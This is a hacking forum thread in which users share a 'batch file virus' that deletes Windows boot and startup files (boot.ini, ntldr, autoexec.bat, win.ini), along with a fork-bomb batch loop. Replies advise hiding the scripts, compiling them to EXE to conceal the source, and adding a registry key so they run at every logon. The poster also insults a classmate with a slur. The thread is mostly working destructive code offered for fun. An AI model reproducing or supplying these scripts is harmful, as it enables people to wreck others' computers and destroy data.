Batch file virus
 

Introduction



Hey guys haven't posted in a while I have been doing a lot of school work, and there some retarded chick in my class that annoys that crap out me.

Background



Um I have been working on this for a while and a finally got to virus rating from MacAffe. yay XDXDXDXD

The code



its a batch file that wipes that start-up files of a computer, so donít be a noob ad test it out on your own computer coz it'll screw your computer up and the only way to fix it is to re-image your computer fully (wipe the hard drive and re-install windows again LOL)

Code: Cpp

-----Disclaimer - Not to be used to damage/harm other peopleís computer systems----------

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

D

Have fun lol

eay way to do this. click on tools-> folder options
In that select view tab, in that remove the checked item "Hide protected operating system files (Recommended)". then u can easily delete all these files without typing anything.

And this cannot be called a virus mate.

A batch can done the complete damage.
Why not code this file using C++ or C, then nobody will be able to see the source code even

Or just compile the batch file into a EXE.

Batch file viruses are fun because of how much you can do with them.

Code:

@echo off
:1
start
goto 1

I am not the Windows expert I used to be, but just add this file to a hidden location and add a registry key to make it run after logging in and it should make the computer freak out every time after logging on. I am not sure if it will overload the memory everytime (which causes a crash) though.

You wouldn't have to re-image your disk per-say. You would just have to copy the four system files from a working windows machine to the "broken" machines root directory using a Linux livecd/liveusb distro (like backtrack). I have done this many times before, and it really isn't all that difficult. Just make sure you replace the same files you lost with equal files of the same name.
